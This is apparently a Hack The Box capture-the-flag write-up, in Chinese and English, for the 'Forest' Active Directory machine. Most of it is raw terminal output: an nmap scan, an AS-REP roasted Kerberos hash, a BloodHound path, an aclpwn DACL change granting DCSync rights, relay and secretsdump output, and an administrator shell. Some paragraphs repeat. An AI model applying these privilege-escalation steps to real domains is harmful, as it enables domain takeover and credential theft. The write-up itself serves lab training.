~/Documents/HTB/Forest root@kali ❯ cat nmap.txt # Nmap 7.80 scan initiated Fri Jan 17 18:03:37 2020 as: nmap -sV -sV -oN nmap.txt 10.10.10.161 Nmap scan report for 10.10.10.161 Host is up (0.31s latency). Not shown: 989 closed ports PORT STATE SERVICE VERSION 53/tcp open domain? 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-17 10:15:04Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=1/17%Time=5E21873F%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jan 17 18:09:46 2020 -- 1 IP address (1 host up) scanned in 369.37 seconds
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) $krb5asrep$23$svc-alfresco@HTB.LOCAL:18e5326e85fc8cd1f31024f103489715$6a0849c8357120d884c4008bee2726b5e035cd52b005cc940dea2de8bd99ea516c657e9c60faed771b98904ed3cdb3c9ce951339e70259f93e001eadec178768430c2729481e8a3b2cd9bf4172f79fb4ea3f576af42f59fbbb08e1fd9acf909ed8e5505edbce0621e6aabd49052ff635b4923f414749b06e8ea904c6236f54a64566a0af5923e7f966a0efc0d4bbd2fe8bc005686fd83ed5a83653b6e2f53ce461399b121025ab890bdc85b2f83c05246001a0fb9d0158eb591b4d2f89028a48ee3e0e442beef1a6ec13d714fb2664c2d9cfb2167a07b9dd21e0965bfc40a32f19b310bed277
将结果下载到本地，导入BloodHound后得到以下结果 我们可以得到一条关系路径 svc-alfresco -> Service Account -> Privileged IT Account -> Account Operator -> EXCHANGE WINDOWS PERMISSIONS 在加粗的两个域中，附属域 Account Operator 对 EXCHANGE WINDOWS PERMISSIONS 的权限为Generic All 查看 [这篇文章] 后我们得知
Exchange Servers have (too) high privileges by default
NTLM authentication is vulnerable to relay attacks
Exchange has a feature which makes it authenticate to an attacker with the computer account of the Exchange server
The main vulnerability here is that Exchange has high privileges in the Active Directory domain. The Exchange Windows Permissions group has WriteDacl access on the Domain object in Active Directory, which enables any member of this group to modify the domain privileges, among which is the privilege to perform DCSync operations. Users or computers with this privilege can perform synchronization operations that are normally used by Domain Controllers to replicate, which allows attackers to synchronize all the hashed passwords of users in the Active Directory.
通过Bloodhound，我们得知 Exchange Windows Permissions 确实拥有 WriteDacl access on the Domain object in Active Directory 文章很好的诠释了该漏洞的利用过程，这里不多赘述。确定好方案后，开始提权。
Ep.3
首先我们将自己添加到 Exchange Windows Permissions
1 2 3 4
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" svc-alfresco /add The command completed successfully.
~/Documents/HTB/Forest root@kali ❯ aclpwn -f svc-alfresco -t htb.local -d htb.local -s 10.10.10.161 -u svc-alfresco -p s3rvice Please supply the password or LM:NTLM hashes of the account you are escalating from: [!] Unsupported operation: GetChanges on HTB.LOCAL (Domain) [-] Invalid path, skipping [!] Unsupported operation: GenericAll on EXCH01.HTB.LOCAL (Computer) [-] Invalid path, skipping [+] Path found! Path [0]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE TRUSTED SUBSYSTEM@HTB.LOCAL)-[MemberOf]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL) [+] Path found! Path [1]: (SVC-ALFRESCO@HTB.LOCAL)-[MemberOf]->(SERVICE ACCOUNTS@HTB.LOCAL)-[MemberOf]->(PRIVILEGED IT ACCOUNTS@HTB.LOCAL)-[MemberOf]->(ACCOUNT OPERATORS@HTB.LOCAL)-[GenericAll]->(EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL)-[WriteDacl]->(HTB.LOCAL) Please choose a path [0-1] 1 [-] Memberof -> continue [-] Memberof -> continue [-] Memberof -> continue [-] Adding user svc-alfresco to group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL [-] Could not add CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local to group CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=htb,DC=local since they are already a member, your BloodHound data may be out of date, continuing anyway! [-] Switching context to svc-alfresco [+] Done switching context [-] Modifying domain DACL to give DCSync rights to svc-alfresco [+] Dacl modification successful [+] Finished running tasks [+] Saved restore state to aclpwn-20200119-225906.restore
[*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami htb\administrator
[*] Servers started, waiting for connections [*] Setting up HTTP Server [*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://10.10.10.161 [*] HTTPD: Client requested path: / [*] HTTPD: Client requested path: / [*] HTTPD: Client requested path: / [*] Authenticating against ldap://10.10.10.161 as \svc-alfresco SUCCEED [*] Enumerating relayed user's privileges. This may take a while on large domains [*] User privileges found: Create user [*] User privileges found: Modifying domain ACL [*] Querying domain security descriptor [*] Success! User svc-alfresco now has Replication-Get-Changes-All privileges on the domain [*] Try using DCSync with secretsdump.py and this user :) [*] Saved restore state to aclpwn-20200120-101649.restore
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets [-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid. [*] Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter [*] Cleaning up...
我们可以得到一条关系路径 svc-alfresco -> Service Account -> Privileged IT Account -> Account Operator -> EXCHANGE WINDOWS PERMISSIONS 在加粗的两个域中，附属域 Account Operator 对 EXCHANGE WINDOWS PERMISSIONS 的权限为Generic All 查看 [这篇文章] 后我们得知
文章很好的诠释了该漏洞的利用过程，这里不多赘述。确定好方案后，开始提权。
